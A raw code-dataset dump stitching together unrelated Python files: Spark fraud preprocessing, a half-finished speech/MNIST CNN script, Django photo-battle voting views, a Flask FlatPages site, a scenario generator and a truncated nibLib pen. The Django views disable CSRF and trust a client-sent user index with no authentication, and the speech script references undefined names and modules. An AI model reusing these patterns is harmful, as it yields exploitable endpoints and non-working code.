entity_)\r\n\r\n # DOC TYPE: We create dummies for National IDs types\r\n types = df.select('cliente_tipo_documento').distinct().collect()\r\n types = [i.cliente_tipo_documento for i in types]\r\n doc_type = [when(df.cliente_tipo_documento == ty, 1).otherwise(0).alias('d_cliente_tipo_documento_' + ty) for ty\r\n in\r\n types]\r\n cols = list(df.columns)\r\n df = df.select(cols + doc_type)\r\n\r\n # BAD ID: We check if a id is not well defined\r\n id_corrector = udf(lambda tipo_doc, nif: nif_corrector.id_conversor(tipo_doc, nif), IntegerType())\r\n df = df.withColumn('bad_id', id_corrector(df.cliente_tipo_documento, df.id_fiscal))\r\n\r\n # REDES: We check in our list of redes if the NIF exists\r\n redes = redes.withColumn('_c0', upper(regexp_replace('_c0', '-', '')))\r\n df = df.join(redes, df.id_fiscal == redes._c0, how='left')\r\n df = df.withColumn('_c0', when(df['_c0'].isNull(), 0).otherwise(1))\r\n df = df.withColumnRenamed('_c0', 'id_clan')\r\n\r\n # Drop useless columns\r\n df = df.drop(*['id_producto', 'id_dossier', 'poliza_entidad_legal', 'cliente_clase_persona_codigo',\r\n 'cliente_tipo_documento'])\r\n\r\n return df\r\n\r\n def _load_data(self, df):\r\n \"\"\"Collect data locally and write to CSV.\r\n :param df: DataFrame to print.\r\n :return: None\r\n \"\"\"\r\n if self._is_diario:\r\n name = STRING.id_output_prediction\r\n else:\r\n name = STRING.id_output_training\r\n df.coalesce(1).write.mode(\"overwrite\").option(\"header\", \"true\").option(\"sep\", \";\").csv(name)\r\n\r\n\r\nif __name__ == '__main__':\r\n Id(is_diario=True).run()\r\n","sub_path":"preprocessing/fraud_home/id.py","file_name":"id.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"75865866","text":"from __future__ import print_function, division\nimport torch\nimport torch.nn as nn\nfrom torch import optim\nfrom torch.nn import functional as F\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\n# import pickle\n# import gzip\n# import cv2 as cv\n# import librosa\nimport scipy\nimport scipy.io\nimport scipy.io.wavfile\n\nnp.random.seed(1)\n\n\ndef addnoise(audio_in,add_Amplitude=0,channel=1):\n audio_len = audio_in.shape[0]\n noise=2*(np.random.rand(audio_len,channel)-0.5)\n audio_add=audio_in+(noise*add_Amplitude).astype('int16')\n audio_add[audio_add>2**16]=2**15-1\n audio_add[audio_add<-2**16]=-2**15\n return audio_add\n\nclass Rescale(object):\n \"\"\"Rescale the image in a sample to a given size.\n\n Args:\n output_size (tuple or int): Desired output size. If tuple, output is\n matched to output_size. If int, smaller of image edges is matched\n to output_size keeping aspect ratio the same.\n \"\"\"\n\n def __init__(self, output_size):\n assert isinstance(output_size, (int, tuple))\n self.output_size = output_size\n\n def __call__(self, sample):\n audio, audio_addnoise = sample['audio'], sample['audio_addnoise']\n\n h, w = image.shape[:2]\n if isinstance(self.output_size, int):\n if h > w:\n new_h, new_w = self.output_size * h / w, self.output_size\n else:\n new_h, new_w = self.output_size, self.output_size * w / h\n else:\n new_h, new_w = self.output_size\n\n new_h, new_w = int(new_h), int(new_w)\n\n img = transform.resize(image, (new_h, new_w))\n\n # h and w are swapped for landmarks because for images,\n # x and y axes are axis 1 and 0 respectively\n landmarks = landmarks * [new_w / w, new_h / h]\n\n return {'audio': img, 'audio_addnoise': landmarks}\n\nclass ToTensor(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n def __call__(self, sample):\n audio, audio_addnoise = sample['audio'], sample['audio_addnoise']\n # swap color axis because\n # numpy image: H x W x C\n # torch image: C X H X W\n audio = audio.transpose((2, 0, 1))\n audio_addnoise = audio_addnoise.transpose((2, 0, 1))\n return {'audio': torch.from_numpy(audio),\n 'audio_addnoise': torch.from_numpy(audio_addnoise)}\n\nclass speechDataset(Dataset):\n def __init__(self, wavlist_path, add_noise_A,channel=1,transform=None):\n self.wavlist=[]\n with open(wavlist_path,'r') as f:\n i=0\n for line in f.readlines():\n line = line.strip('\\n') #去掉列表中每一个元素的换行符\n self.wavlist.append(line)\n i=i+1\n self.transform = transform\n self.channel=channel\n self.add_noise_A=add_noise_A\n def __len__(self):\n return len(self.wavlist)\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n # img_name = os.path.join(self.root_dir,\n # self.landmarks_frame.iloc[idx, 0])\n audio_sample,audio_data=scipy.io.wavfile.read(self.wavlist[idx])\n audio_data=np.array(audio_data).reshape(-1,self.channel)\n # audio_data=audio_data.reshape(-1,self.channel)\n # audio_ = io.imread(img_name)\n # landmarks = self.landmarks_frame.iloc[idx, 1:]\n # landmarks = np.array([landmarks])\n # landmarks = landmarks.astype('int16')\n audio_add=addnoise(audio_data,self.add_noise_A,self.channel)\n sample = {'audio': audio_data, 'audio_addnoise': audio_add}\n if self.transform:\n sample = self.transform(sample)\n return sample\n\n\n\ndev = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\n\n# trainset = speechDataset(r'c:\\youtong\\train.wavlist',200,1,transform=transforms.Compose([\n # Rescale(256),\n # makelong(224),\n # ToTensor()\n # ])) \n\ntrainset = speechDataset(r'c:\\youtong\\train.wavlist',200,1,transform=None)\n\nsampLen=[]\nfor i in range(0,len(trainset)):\n sample=trainset[i]\n sampLen.append(sample['audio'].shape[0])\n pass\n\nshortest=np.min(sampLen)\nprint(np.min(sampLen))\nprint(np.max(sampLen))\nprint(np.mean(sampLen))\n\n# plt.figure('compare')\n# sample = trainset[899]\n# print(sample['audio'].shape,sample['audio_addnoise'].shape)\n# plt.subplot(1,2,1)\n# plt.plot(sample['audio'])\n# plt.subplot(1,2,2)\n# plt.plot(sample['audio_addnoise'])\n# plt.show()\n# scipy.io.wavfile.write(r'C:\\PythonProjects\\Speech\\202025_src.wav',16000,sample['audio'])\n# scipy.io.wavfile.write(r'C:\\PythonProjects\\Speech\\202025_add.wav',16000,sample['audio_addnoise'])\n# print(\"done\")\n\ntrainloader = DataLoader(trainset, batch_size=4,shuffle=True, num_workers=4)\n\n\n# audio_src=librosa.load(r'C:\\PythonProjects\\Speech\\test.wav',sr=16000)\n# samplerate, audio=scipy.io.wavfile.read(r'C:\\PythonProjects\\Speech\\test.wav')\n\n# audio_add=addnoise(audio,2000000)\n\n# plt.figure('compare')\n# plt.plot(audio[:13000,0],'b')\n# plt.plot(audio_add[:13000,0],'r.')\n# plt.show()\n\n# scipy.io.wavfile.write(r'C:\\PythonProjects\\Speech\\test_addnoise_2000.wav',samplerate,audio_add)\n\n\n# with gzip.open((r'D:\\reference\\DeepLearning\\project\\data\\Mnist\\mnist.pkl.gz'),'rb') as f:\n# ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding=\"latin-1\")\n\n# # f=open(r'c:\\mnist_data\\train.txt','w')\n# f=open(r'c:\\mnist_data\\valid.txt','w')\n# for i in range(0,10000):\n# tmp=x_valid[i].reshape((28, 28))\n# tmp=np.array(tmp*255,dtype='uint8')\n# # plt.imshow(tmp, cmap=\"gray\")\n# # plt.show()\n# # dstname=r'c:\\mnist_data\\train\\train_'+str(i)+'_'+str(y_train[i])+\".bmp\"\n# dstname=r'c:\\mnist_data\\valid\\valid_'+str(i)+'_'+str(y_valid[i])+\".bmp\"\n# # cv.imwrite(dstname,tmp)\n# f.write(dstname+'\\n') \n# f.close()\n\n\n\nnoise_A=2000\nx_train=[]\ny_train=[]\nwith open(r'c:\\youtong\\train.wavlist','r') as f:\n i=0\n for line in f.readlines():\n line = line.strip('\\n') #去掉列表中每一个元素的换行符\n samplerate, audio=scipy.io.wavfile.read(line)\n y_train.append(audio)\n x_train.append(addnoise(audio,noise_A))\n i=i+1\nx_train_np=np.array(x_train)/255\nprint(x_train_np.shape)\n\nx_valid=[]\ny_valid=[]\nwith open(r'c:\\youtong\\valid.wavlist','r') as f:\n i=0\n for line in f.readlines():\n line = line.strip('\\n') #去掉列表中每一个元素的换行符\n y_valid.append(int(line[-5]))\n x_valid.append(cv.imread(line,-1))\n i=i+1\nx_valid_np=np.array(x_valid)/255\nprint(x_valid_np.shape)\n\nytrain,yvalid=map(torch.tensor,(y_train,y_valid))\nxtrain,xvalid=map(torch.tensor,(x_train_np,x_valid_np))\n\nN=50000\nM=10000\ny_train_1hot = np.zeros((N, 10))\ny_train_1hot[np.arange(N),ytrain] = 1\n\ny_train_1hot=torch.tensor(y_train_1hot).float()\nxtrain=xtrain.float()\nxvalid=xvalid.float()\nyvalid=yvalid.float()\n\n# mymodel=nn.Sequential(\n# nn.Conv2d(1,6,5)\n# nn.ReLU()\n# nn.MaxPool2d(kernel_size=2,stride=1)\n# nn.Conv2d(6,16,5)\n# nn.ReLU()\n# nn.MaxPool2d(kernel_size=2,stride==1)\n# x = x.view(-1, 256)\n# nn.Linear(256,120)\n# nn.Linear(120,84)\n# nn.Linear(84,10)\n# )\n\nclass Myloss(torch.nn.Module):\n def __init__(self):\n super().__init__()\n \n def forward(self,y_pred,y):\n y_pred_exp=torch.exp(y_pred)\n y_pred_exp_sum=y_pred_exp.sum()\n y_pred_soft=y_pred_exp/y_pred_exp_sum\n # temp=-y*torch.log(y_pred_soft+1e-4)-(1-y)*torch.log(1-y_pred_soft+1e-4)\n \n return (-y*torch.log(y_pred_soft+1e-8)-(1-y)*torch.log(1-y_pred_soft+1e-8)).sum()/y_pred_soft.size(0)\n\nclass Mnist_CNN(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(1, 6, kernel_size=5, stride=1, padding=0)\n # self.conv2 = nn.Conv2d(6, 16, kernel_size=5, stride=1, padding=0)\n # self.p1=nn.MaxPool2d(kernel_size=2,stride=2)\n # self.p2=nn.MaxPool2d(kernel_size=2,stride=2)\n # self.fc1=nn.Linear(256,120,bias=False)\n self.fc2=nn.Linear(24*24*6,84,bias=False)\n self.fc3=nn.Linear(84,10,bias=False)\n\n def forward(self, xb): \n xb = xb.view(-1, 1, 28, 28)\n xb = self.conv1(xb)\n # xb=F.tanh(xb)\n xb=F.leaky_relu(xb)\n # # xb=F.batch_norm(xb,torch.zeros(6,dtype=torch.float32),torch.ones(6,dtype=torch.float32))\n # xb=self.p1(xb)\n # xb = self.conv2(xb)\n # # xb=F.tanh(xb)\n # xb=F.rrelu(xb)\n # # xb=F.batch_norm(xb,torch.zeros(16,dtype=torch.float32),torch.ones(16,dtype=torch.float32))\n # xb=self.p2(xb)\n xb=xb.view(xb.size(0), -1)\n # xb=self.fc1(xb)\n # # xb=F.tanh(xb)\n # xb=F.rrelu(xb)\n # # xb=F.batch_norm(xb,torch.zeros(120,dtype=torch.float32),torch.ones(120,dtype=torch.float32))\n xb=self.fc2(xb)\n # # xb=F.tanh(xb)\n # xb=F.rrelu(xb)\n # # xb=F.batch_norm(xb,torch.zeros(84,dtype=torch.float32),torch.ones(84,dtype=torch.float32))\n xb=self.fc3(xb)\n # xb=F.tanh(xb)\n # xb=F.rrelu(xb)\n return xb\n\n\nmodel=Mnist_CNN()\nprint(model.state_dict)\nss=model.state_dict\n\n\nloss_func=Myloss()\n# loss_func=torch.nn.MSELoss(reduction='sum')\n# loss_func=torch.nn.CrossEntropyLoss()\n\nlr=0.01\nbs=256\nn=2018 #select rows of xtrain for saving time\nepochs=10\nk=(n - 1) // bs + 1\nlossplt=np.zeros([k*epochs])\n\ntime_start=time.process_time()\n\nopt=optim.Adam(model.parameters(),lr=0.01)\nfor epo in range(epochs):\n for i in range(k):\n start_i = i * bs\n end_i = start_i + bs\n xb = xtrain[start_i:end_i]\n yb = y_train_1hot[start_i:end_i]\n pred = model(xb)\n\n # www=model.state_dict()\n # print(www['conv1.weight'])\n # aaa=torch.std(www['conv1.weight'])\n # print(aaa)\n # print(www['conv1.weight'].size())\n\n\n # out=pred[1,:]\n # lab=yb[1,:]\n # losstamp=loss_func(out,lab)\n # for b in range(bs):\n # loss[b] = loss_func(pred[b,:].squeeze(), yb[b,:].squeeze())\n # loss=sum(loss)\n loss=loss_func(pred,yb)\n # print(i+epo*k,loss.item())\n lossplt[i+epo*k]=loss\n loss.backward()\n opt.step()\n opt.zero_grad()\n # with torch.no_grad():\n # for p in model.parameters():\n # p-=p*lr\n # model.zero_grad()\n\n\nplt.plot(lossplt)\nplt.show()\n\nflag=0\ny_pr=model(xvalid)\n(_,y_class)=torch.max(y_pr.data,1)\nfor i in range(10000):\n if y_class[i].item()==yvalid[i].item():\n flag=flag+1\n \ntime_stop=time.process_time()\nprint('cost time(s): ',time_stop-time_start)\nprint('correct Rate: ',flag/10000)\n\n\n\n\n\n","sub_path":"Speech/speech_cnn.py","file_name":"speech_cnn.py","file_ext":"py","file_size_in_byte":10923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"514526780","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core import serializers\nfrom acutserver.core.models import User, Battle_Log, Like_table, Photo\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom PIL import Image\nimport base64\n\nfrom django.db.models import Q\nfrom django.core import serializers\nimport json\n\ndef make_json_arr(battles):\n img_prefix = \"https://s3.ap-northeast-2.amazonaws.com/acut-fullsize-image/\"\n\n json_arr = {'battles' : []} # 'battles' :\n index = 0\n \n if len(battles) > 1:\n for b in battles:\n\n\n json_obj = {\n 'img' : [ img_prefix+str(b.p1_id.img), img_prefix+str(b.p2_id.img)],\n 'user_index' : [str(b.p1_id.user.index) , str(b.p2_id.user.index)],\n 'user_profile' : [img_prefix+str(b.p1_id.user.profile_thumb), img_prefix+str(b.p2_id.user.profile_thumb)],\n 'text' : [ b.p1_id.text, b.p2_id.text ],\n 'photo_index' : [b.p1_id.index, b.p2_id.index],\n 'battle_log' : str(b.index),\n 'liked_photo' : [],\n 'likes' : [ str(b.p1_vote), str(b.p2_vote) ],\n }\n\n json_arr['battles'].append(json_obj)\n\n else :\n if not battles is None: \n b = battles[0]\n json_obj = {\n 'img' : [ img_prefix+str(b.p1_id.img), img_prefix+str(b.p2_id.img)],\n 'user_index' : [str(b.p1_id.user.index) , str(b.p2_id.user.index)],\n 'user_profile' : [img_prefix + str(b.p1_id.user.profile_thumb), img_prefix + str(b.p2_id.user.profile_thumb)],\n 'text' : [ b.p1_id.text, b.p2_id.text ],\n 'photo_index' : [b.p1_id.index, b.p2_id.index],\n 'battle_log' : str(b.index),\n 'likes' : [ str(b.p1_vote), str(b.p2_vote) ],\n }\n\n json_arr['battles'].append(json_obj)\n\n\n return json.dumps(json_arr)\n\n\n\n@csrf_exempt\ndef have_battle(request):\n\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n comment = data['user_text']\n img = data['img']\n img_content = base64.b64decode(img)\n img_result = SimpleUploadedFile('temp.jpg',img_content,getattr(img, \"content_type\", \"application/octet-stream\"))\n\n #request[u'file'] = img_result\n setattr(request, u'file', img_result)\n opponent_photo_index = data['opponent_photo_index']\n\n\n user_obj = User.objects.filter(index = user_index)\n if len(user_obj) == 0 :\n return HttpResponse(\"no user\")\n \n user_obj = user_obj[0]\n\n #photo_obj = Photo(user = user_obj, img = request[u'file'], text = img_text)\n photo_obj = Photo(user = user_obj, img = img_result, text = comment)\n\n photo_obj.save()\n \n\n opponent_photo_obj = Photo.objects.filter(index = opponent_photo_index)\n if len(opponent_photo_obj) == 0 :\n return HttpResponse(\"no photo\")\n\n opponent_photo_obj = opponent_photo_obj[0]\n\n new_battle = Battle_Log(p1_id = opponent_photo_obj, p2_id = photo_obj)\n\n new_battle.save()\n\n return HttpResponse(\"success\")\n\n return HttpResponse(\"bad access\")\n\n\n@csrf_exempt\ndef show_battles(request):\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n\n #likes = Like_table.objects.filter(user_id = user_obj)\n likes_id_list = []\n likes_list = Like_table.objects.filter(user_id = user_index)\n \n for like in likes_list:\n likes_id_list.append(like.battle_log_id.index)\n\n \n battles = Battle_Log.objects.exclude(index__in = likes_id_list).order_by('-created_at')\n \n if len(battles) == 0:\n json_obj = {'result': [0]}\n return HttpResponse(json.dumps(json_obj), content_type=\"application/json\")\n user_nickname_list = list()\n for battle in battles:\n user_nickname_list.append([battle.p1_id.user.nickname, battle.p2_id.user.nickname])\n json_encode = make_json_arr(battles)\n json_decode = json.loads(json_encode)\n counter = 0\n for json_obj in json_decode['battles'] :\n json_obj['nickname'] = user_nickname_list[counter]\n counter += 1\n\n json_encode = json.dumps(json_decode)\n #serialized_obj = [ serializers.serialize('json', [ battle, ]) for battle in battles]\n #json_encode = json.dumps(serialized_obj)\n \n return HttpResponse(json_encode, content_type= \"application/json\")\n return HttpResponse(\"bad access\")\n\n@csrf_exempt\ndef show_battles_in_web(request):\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n battle_log_id = data['battle_log_id']\n vote_count = data['count']\n\n #likes = Like_table.objects.filter(user_id = user_obj)\n likes_id_list = []\n likes_list = Like_table.objects.filter(user_id = user_index)\n for like in likes_list:\n likes_id_list.append(like.battle_log_id.index)\n \n \n battle = Battle_Log.objects.exclude(index__in = likes_id_list).order_by('-created_at')\n\n json_encode = make_json_arr(battle)\n #serialized_obj = [ serializers.serialize('json', [ battle, ]) for battle in battles]\n #json_encode = json.dumps(serialized_obj)\n\n return HttpResponse(json_encode, content_type= \"application/json\")\n return HttpResponse(\"bad access\")\n\n\n\n@csrf_exempt\ndef show_liked_battles(request):\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n user_obj = User.objects.filter(index = user_index)\n\n if len(user_obj) == 0 :\n return HttpResponse(\"no user\")\n user_obj = user_obj[0]\n user_like_list = Like_table.objects.filter(user_id = user_obj).order_by('-created_at')\n\n if len(user_like_list) == 0 :\n return HttpResponse(\"no battle you like\")\n\n hit_count = 0\n user_like_battles = list()\n like_photos = list()\n for like in user_like_list:\n user_like_battles.append(like.battle_log_id)\n if (like.battle_log_id.finish is True) and (like.battle_log_id.finished_at is not None):\n winner_photo_index = like.battle_log_id.p1_id.index if like.battle_log_id.p1_vote >= like.battle_log_id.p2_vote else like.battle_log_id.p2_id.index\n if like.photo_id.index == winner_photo_index:\n hit_count += 1\n \n like_photos.append(like.photo_id.index)\n json_encode = make_json_arr(user_like_battles)\n json_decode = json.loads(json_encode)\n counter = 0\n for json_obj in json_decode['battles']:\n json_obj['liked_photo'].append(like_photos[counter])\n counter += 1\n\n json_decode['liked_photo_count'] = counter + 1\n json_decode['hit_count'] = hit_count\n json_encode = json.dumps(json_decode)\n return HttpResponse(json_encode, content_type=\"application/json\")\n return HttpResponse(\"bad access\")\n\n@csrf_exempt\ndef show_liked_battle_results(request):\n if request.method == \"POST\":\n data = json.load(request)\n user_index = data['user_index']\n user_obj = User.objects.filter(index = user_index)\n\n if len(user_obj) == 0 :\n return HttpResponse(\"no user\")\n\n user_obj = user_obj[0]\n user_like_battles = Like_table.objects.filter(user_id = user_obj)\n\n if len(user_like_battles) == 0 :\n return HttpResponse(\"no battle you like\")\n\n unchecked_list = list()\n for like in user_like_battles:\n if like.checked == False and like.battle_log_id.finish == True:\n unchecked_list.append(like.battle_log_id)\n like.checked = True\n like.save()\n #elif like.battle_log_id.finish == False:\n # unchecked_list.append(like.battle_log_id)\n\n if len(unchecked_list) == 0 :\n return HttpResponse(\"no battle results\")\n \n json_arr = {'vote_info':[]}\n json_obj = {\n 'finished_battles_count' : len(unchecked_list),\n 'vote_count' : user_obj.vote,\n 'win_vote_count' : user_obj.win_vote\n }\n #json_encode = make_json_arr(unchecked_list)\n\n json_encode = json.dumps(json_obj)\n return HttpResponse(json_encode, content_type=\"application/json\")\n\n return HttpResponse(\"bad access\")\n\n\n@csrf_exempt\ndef show_my_battles(request):\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n user_obj = User.objects.filter(index = user_index)\n\n if len(user_obj) == 0 :\n return HttpResponse(\"no user\")\n\n user_obj = user_obj[0]\n photo_obj = Photo.objects.filter(user = user_obj)\n\n if len(photo_obj) == 0 :\n return HttpResponse(\"no photo\")\n\n #photo_obj = photo_obj[0]\n my_battles = Battle_Log.objects.filter((Q(p1_id__in = photo_obj) | Q(p2_id__in = photo_obj))).order_by('-created_at')\n\n\n if len(my_battles) == 0 :\n return HttpResponse(\"no battle\")\n\n json_encode = make_json_arr(my_battles)\n\n return HttpResponse(json_encode, content_type=\"application/json\")\n\n return HttpResponse(\"bad access\")\n\n@csrf_exempt\ndef show_my_battle_results(request):\n if request.method == \"POST\":\n data = json.load(request)\n user_index = data['user_index']\n user_obj = User.objects.filter(index = user_index)\n\n if len(user_obj) == 0 :\n return HttpResponse(\"no user\")\n\n user_obj = user_obj[0]\n photo_obj = Photo.objects.filter(user = user_obj)\n\n if len(photo_obj) == 0:\n return HttpResponse(\"no photo\")\n\n \n\n my_battles = Battle_Log.objects.filter((Q(p1_id__in = photo_obj) | Q(p2_id__in = photo_obj)), finish = True).order_by('-finished_at')\n\n if len(my_battles) == 0 :\n return HttpResponse(\"no battle\")\n\n\n unchecked_list = list()\n for battle in my_battles:\n if not battle.finish and user_obj.last_session <= battle.finish_time:\n unchecked_list.append(battle)\n\n if len(unchecked_list) == 0 :\n return HttpResponse(\"no battle results\")\n\n\n \n json_encode = make_json_arr(unchecked_list)\n\n return HttpResponse(json_encode, content_type=\"application/json\")\n\n return HttpResponse(\"bad access\")\n\n\n@csrf_exempt\ndef history_info(request):\n if request.method == 'POST':\n data = json.load(request)\n user_index = data['user_index']\n\n\n user_obj = User.objects.filter(index = user_index)\n\n if len(user_obj) == 0:\n return HttpResponse(\"no user\")\n\n user_obj = user_obj[0]\n\n photos = Photo.objects.filter(user = user_obj)\n\n if len(photos) == 0 :\n return HttpResponse(\"no photos\")\n\n battles = Battle_Log.objects.filter(Q(p1_id__in = photos) | Q(p2_id__in = photos))\n\n if len(battles) == 0:\n return HttpResponse(\"no battles\")\n\n total_vote_count = 0\n\n json_arr = {'battles' : []}\n \n for battle in battles :\n total_vote_count += (battle.p1_vote + battle.p2_vote)\n json_arr['battles'].append(battle.index)\n \n json_obj = {\n 'total_vote_count' : total_vote_count,\n 'my_vote' : user_obj.my_vote,\n 'user_name': user_obj.nickname\n }\n\n json_arr['history_info'] = json_obj\n\n\n json_encode = json.dumps(json_arr)\n\n\n return HttpResponse(json_encode, content_type=\"application/json\")\n return HttpResponse(\"bad access\")\n\n \n \n \n \n\n@csrf_exempt\ndef vote(request):\n if request.method == \"POST\":\n data =json.load(request)\n user_index = data[\"user_index\"]\n liked_photo = data[\"liked_photo\"]\n battle_log_index = data[\"battle_log\"]\n json_arr = {'result' : []}\n\n user_obj = User.objects.filter(index = user_index)\n if len(user_obj) == 0:\n json_arr['result'].append(\"0\")\n return HttpResponse()\n user_obj = user_obj[0]\n \n\n\n battle = Battle_Log.objects.filter(index = battle_log_index)\n if len(battle) == 0:\n json_arr['result'].append(\"0\")\n return HttpResponse(\"no battle\")\n battle = battle[0]\n\n photo = Photo.objects.filter(index = liked_photo)\n if len(photo) == 0:\n json_arr['result'].append(\"0\")\n return HttpResponse(\"no photo\")\n photo = photo[0]\n\n \n\n if Like_table.objects.filter(user_id =user_obj, battle_log_id = battle).count() > 0 :\n json_arr['result'].append(\"1\")\n else :\n like_log = Like_table(user_id = user_obj, battle_log_id = battle, photo_id = photo)\n like_log.save()\n json_arr['result'].append(\"1\")\n\n return HttpResponse(json.dumps(json_arr), content_type=\"application/json\")\n return HttpResponse(\"bad access\")\n\n\n@csrf_exempt\ndef vote_list(request, battle_index):\n json_obj = {'result': []}\n\n if not battle_index:\n json_obj['result'].append(0)\n return HttpResponse(json.dumps(json_obj), content_type=\"application/json\")\n try:\n battle_obj = Battle_Log.objects.get(index = battle_index)\n like_table_obj = Like_table.objects.filter(battle_log_id = battle_obj, photo_id = battle_obj.p1_id if request.GET.get('vote', '') == 'front' else battle_obj.p2_id )\n json_obj['users'] = []\n for like in like_table_obj : \n json_obj['users'].append({'user_index' : like.user_id.index, 'user_nickname' : like.user_id.nickname})\n\n json_obj['result'].append(1)\n \n except Battle_Log.DoesNotExist:\n json_obj['result'].append(0)\n \n return HttpResponse(json.dumps(json_obj), content_type=\"appliction/json\")\n","sub_path":"acutserver/views/battle_management.py","file_name":"battle_management.py","file_ext":"py","file_size_in_byte":14001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"107170403","text":"from app import app\nfrom flask import render_template\nfrom flask_flatpages import FlatPages\n\n\nFLATPAGES_EXTENSION = '.md'\nFLATPAGES_ROOT = \"pages\"\n\napp.config.from_object(__name__)\npages = FlatPages(app)\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n\treturn render_template('index.html',pages=pages)\n\n@app.route('//')\ndef page(path):\n\tpage=pages.get_or_404(path)\n\treturn render_template(\"page.html\",page=page)\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"33907747","text":"#! /usr/bin/python3\n# coding: utf-8\n\nimport random\nimport csv\nimport argparse\nimport numpy.random\nimport logging\n\nclass Scenario:\n\n def __init__(self, nb_instances, filename):\n self.output_file = filename\n self.nb_instances = nb_instances\n\n self.list_times = self.createTimes(6,2)\n self.list_movies = self.createMovies()\n\n self.entries = []\n for i in range(self.nb_instances):\n new_row = list()\n new_row.append(self.list_times[i])\n new_row.append(self.list_movies[i])\n new_row.append(random.randint(500,8000))\n new_row.append(random.choice([\"ultrafast\", \"fast\"]))\n self.entries.append(new_row)\n\n\n def createTimes(self, mean_interval, sigma_interval):\n \"\"\" create nb_instances of times based on Gauss\n\n Returns:\n list of floats\"\"\"\n \n times = list()\n times.append(0)\n last = 0\n for i in range(self.nb_instances):\n next_time = random.gauss(mean_interval, sigma_interval) \n t = max(0.1, next_time) #+ last\n times.append(t)\n # last = t\n return times\n\n def createMovies(self):\n list_movies = list()\n list_proba = list()\n for i in range(10):\n list_movies.append(\"bbb_%s.mp4\"%i)\n proba = float((i+1)/sum(range(1,11)))\n list_proba.append(proba)\n result = list(numpy.random.choice(list_movies,\n self.nb_instances,\n p=list_proba))\n return result\n\n def saveInFile(self):\n with open(self.output_file, 'w', newline='') as out_file:\n f = csv.writer(out_file, delimiter=',', quotechar='\"')\n for new_row in self.entries:\n f.writerow(new_row)\n\n\n### Start Application if directly called from command line\nif __name__ == \"__main__\":\n ### Command line arguments parsing\n parser = argparse.ArgumentParser(description='The generator of scenario')\n parser.add_argument('-d', '--debug',\n dest='debugFlag',\n help='Raise the log level to debug',\n action=\"store_true\",\n default=False)\n parser.add_argument('-f', '--file',\n dest='outputFile',\n help='the name of the scenario file')\n parser.add_argument('-n', '--nb',\n dest='nb_instances',\n type = int,\n default = 5,\n help='the number of rows in the csv')\n args = parser.parse_args()\n\n ### Log level configuration\n if args.debugFlag == True:\n logLevel = logging.DEBUG\n else:\n logLevel = logging.WARNING\n logging.basicConfig(level=logLevel)\n\n scenario = Scenario(args.nb_instances, args.outputFile)\n scenario.saveInFile()\n \n \n \n \n","sub_path":"scenario_generator.py","file_name":"scenario_generator.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"548196512","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def averageOfLevels(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[float]\n \"\"\"\n res = []\n queue = [root]\n \n while queue:\n layer = [node.val for node in queue if node]\n res.append(sum(layer)/len(layer))\n queue = [child for node in queue if node for child in (node.left, node.right) if child]\n \n return res\n","sub_path":"637/BFS.py","file_name":"BFS.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"236921366","text":"from __future__ import division, print_function\n\nfrom math import atan2, pi\n\n\ntry:\n from mojo.drawingTools import *\nexcept ImportError:\n try:\n from GlyphsApp.drawingTools import *\n except ImportError:\n pass\n\n\nfrom AppKit import NSBezierPath, NSColor\n\n\nfrom nibLib.geometry import halfPoint as half\nfrom nibLib.pens.rectNibPen import RectNibPen\nfrom nibLib.pens.bezier import normalize_quadrant, split_at_extrema\n\n\nclass FakeOvalNibPen(RectNibPen):\n def addPath(self, path=[]):\n \"\"\"\n Add a path to the nib path.\n \"\"\"\n if path:\n path = [\n self.transform_reverse.transformPoints(pts) for pts in path\n ]\n if self.trace:\n self.path.append(path)\n else:\n self.drawPath(path)\n\n def drawPath(self, path=[]):\n \"\"\"\n Draw the points from path to a NSBezierPath.\n \"\"\"\n subpath = NSBezierPath.alloc().init()\n subpath.moveToPoint_(path[0][0])\n for p in path[1:]:\n if len(p) == 3:\n # curve\n A, B, C = p\n subpath.curveToPoint_controlPoint1_controlPoint2_(C, A, B)\n else:\n subpath.lineToPoint_(p[0])\n\n subpath.closePath()\n NSColor.colorWithCalibratedRed_green_blue_alpha_(\n 0, 0, 1, self.alpha\n ).set()\n subpath.stroke()\n\n def transformPoint(self, pt, d=1):\n return (\n pt[0] + self.a * d,\n pt[1] + self.b,\n )\n\n def transformPointHeight(self, pt, d=1):\n return (\n pt[0] + self.a * d,\n pt[1] - self.b,\n )\n\n def transformedRect(self, P):\n \"\"\"\n Transform a point to a rect describing the four points of the nib face.\n\n D-------------------------C\n | P |\n A-------------------------B\n \"\"\"\n A = self.transformPointHeight(P, -1)\n B = self.transformPointHeight(P)\n C = 